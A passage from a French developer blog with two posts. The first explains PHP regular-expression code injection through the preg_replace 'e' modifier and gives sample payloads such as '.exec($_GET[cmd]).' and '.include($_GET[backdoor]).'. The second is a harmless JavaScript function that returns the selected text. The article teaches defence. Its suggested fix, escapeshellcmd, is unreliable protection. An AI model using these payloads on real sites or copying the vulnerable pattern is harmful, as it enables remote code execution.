  • Sphinn
  • Mixx
  • Blogplay
  • Identi.ca
  • Print
  • Ping.fm
  • email
  • Posterous
  • Reddit
  • Yahoo! Buzz
  • PDF
  • RSS
  • Diigo
  • Fark
  • Blogosphere News
  • blogtercimlap

Regular expression injectionSalut à tous!

Aujourd’hui je vous parlerai de la sécurité des expressions régulières, appelées aussi expressions rationnelles, ou tout simplement REGEX pour les intimes! Si vous en usé dans vos codes, ce billet est pour vous!

Les expressions rationnelles permettent de manipuler une chaine de caractère de façon très puissante, elles sont souvent utilisées pour la validation des données, le parsing du bbcode dans les forums, également dans les commandes unix comme grep et sed, mais ce n’est pas notre sujet aujourd’hui!

Où est le problème?

Dans une expression rationnelle, il est possible d’utiliser un modificateur « e » qui permet d’évaluer le code contenu dans la chaine de remplacement, donc exécuter du code php!

Dans le language Perl ainsi que dans tous les technologies qui utilisent la librairie PCRE (Perl-compatible regular expressions), y compris PHP, ces derniers supportent l’utilisation de ce modificateur, un attaquant malveillant peut injecter du code si l’entrée n’est pas correctement filtrée!

Exemple :

Voici un code qui parse une chaine de caractère et remplace tous ce qui existe entre [b] et [/b] par <strong>CHAINE</strong>, on le mettant en majuscule!

$nom = "toto";
$chaine = "Hello my name is [b]".$nom."[/b]";
$pattern = "#\[b\](.*)\[/b\]#e" ;
$replacement = "'<strong>'.strtoupper('$1').'</strong>'";
$display = preg_replace($pattern , $replacement, $chaine);
echo $display  ;

Que se passera t’il si toto s’appelle ainsi :

  • ‘.phpinfo().’
  • ‘.exec(\$_GET[cmd]).’
  • ‘.include($_GET[backdoor]).’

Dans toutes les versions PHP < 5.0.5 La chaine de remplacement deviendra : <strong>’.strtoupper(‘\\1‘.phpinfo().’‘).’ »</strong> est le code php sera exécuté ! du coup, un attaquant peut injecter un code malveillant !

Comment se protéger?

Si jamais vous êtes amenés à utiliser des expressions rationnelles avec le modificateur « e », pensez à filtrer vos variables en utilisant la fonction escapeshellcmd, d’où notre code deviendra :

$nom = "simo.'phpinfo().'"; // test d'injection
$chaine = "Hello my name is [b]".$nom."[/b]";
$pattern = "#\[b\](.*)\[/b\]#e" ;
$replacement = "'<strong>'.strtoupper(escapeshellcmd('$1')).'</strong>'";
$display = preg_replace($pattern , $replacement, $chaine);
echo $display  ;

Sinon Le plus simple est d’utiliser une version récente de PHP > 5.0.5 est le tour est joué ;)

Partager cet article:
  • Twitter
  • Facebook
  • Google Bookmarks
  • del.icio.us
  • Netvibes
  • viadeo FR
  • Digg
  • LinkedIn
  • Slashdot
  • Sphinn
  • Mixx
  • Blogplay
  • Identi.ca
  • Print
  • Ping.fm
  • email
  • Posterous
  • Reddit
  • Yahoo! Buzz
  • PDF
  • RSS
  • Diigo
  • Fark
  • Blogosphere News
  • blogtercimlap

Samedi le 10 octobre 2009 à 00:35

Javascript: comment récupérer le texte sélectionné

En javascript, parfois on a besoin de récupérer le texte sélectionné par le client, c’est souvent utilisé si vous développez votre propre éditeur wysiwig afin de mettre un texte en gras ou placer un lien hypertexte autour de votre sélection!

Bref voici une fonction cross-browser qui vous permet cela!

Code :

getSelectedText = function(){
    selectedText = '';
    // Gecko, Webkit
    if (window.getSelection) {
        selectedText = window.getSelection();
    }
    // Si IE
    else if (document.selection) {
        selectedText = document.selection.createRange().text;
    }
    return selectedText ;
}

Et si on fait un test !

Sélectionnez un texte quelconque dans le blog, et cliquez sur le bouton ci dessous!


voilà c’est aussi simple que ça!

Partager cet article:
  • Twitter
  • Facebook
  • Google Bookmarks
  • del.icio.us
  • Netvibes
  • viadeo FR
  • Digg
  • LinkedIn
  • Slashdot
  • Sphinn
  • Mixx
  • Blogplay
  • Identi.ca
  • Print
  • Ping.fm
  • email
  • Posterous
  • Reddit
  • Yahoo! Buzz
  • PDF
  • RSS
  • Diigo
  • Fark
  • Blogosphere News
  • blogtercimlap

Categories

Derniers commentaires

  • mohamed hacker: mdr V4 team c mes pote et je vous informe ke le resau avai une faille de blind sql injection pas +
  • sghiouar abdelfettah: Oui c’est vraiment sympa de voir un opérateur qui se fait beaucoup d’argent des...
  • swaina: Merci beaucoup ça m’a été très utile.
  • Jamel naitssi: || :o)
  • Jamel naitssi: joli tutoriel Mr.cherifi , c’est intéressant fréro, sauf que dans le code à la ligne 4 ya ça :...
  • Victor: Roseny : Pour avoir les mois en Français voici mon code : $dateWidget = new sfWidgetFormI18nDate(array(...
  • abdessamad: Salam, Salutation pour cet article, N.B :  » Un md5 est une chaine de caractère en hexadécimal...
  • 0x1337: Nice tuto bien structuré et synthétisé ! La question qui se pose est ce un attaquant peut faire un Privilege...
  • Roseny: Bonjour, comment fais-t’on pour mettre les mois en français?
  • Laurent: Bonjour Mohammed et merci pour ce tuto. Que faut-il modifier pour que le champ date soit en un seul bloc au...

Flickr PhotoStream

  • Au dessus des montagnes
  • Nuages
  • Insolite hopital marocain
  • Plage bouznika
  • Maroc Blog awars with vladimire
  • Linux Party 2010 - EMI (Maroc)
  • Mawazine 2008
  • Essaouira
  • Rabat Ville with baba mimoun
  • Fucking CowBoyz
  • Essaouira 2009 - En attente de l'arrivé du cheb khaled!
  • Linux Install party Mohammadia

Twitter Feed

  • : le 01 Jan 1970 00:00